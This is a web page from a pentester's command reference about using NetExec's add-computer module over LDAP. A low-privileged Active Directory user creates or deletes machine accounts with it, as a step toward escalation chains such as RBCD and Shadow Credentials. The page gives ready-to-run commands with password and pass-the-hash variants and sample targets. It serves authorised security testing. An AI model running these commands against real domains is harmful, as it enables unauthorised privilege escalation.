Command Manager

NetExec Add Machine Account

Create a new machine account using a low-privileged user (default ms-DS-MachineAccountQuota is 10). Required for many privilege-escalation chains: RBCD, Shadow Credentials, ESC8, etc.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
nxc
Category
Post-Exploitation / AD Object Manipulation
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ldap <dc-ip> -u <user> -p <password> -M add-computer -o NAME=<computer$> PASSWORD=<password>

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc ldap <dc-ip> -u <user> -H <hash> -M add-computer -o NAME=<computer$> PASSWORD=<password>

Delete Computer requires password

nxc ldap <dc-ip> -u <user> -p <password> -M add-computer -o NAME=<computer$> DELETE=true

Examples

nxc ldap 10.10.10.10 -u jdoe -p 'Password123!' -M add-computer -o NAME=PWNED$ PASSWORD=ComputerPass123!
nxc ldap 10.10.10.10 -u jdoe -H :e19ccf75ee54e06b06a5907af13cef42 -M add-computer -o NAME=PWNED$ DELETE=true

Tags

nxc netexec machine-account maq rbcd shadow-credentials

References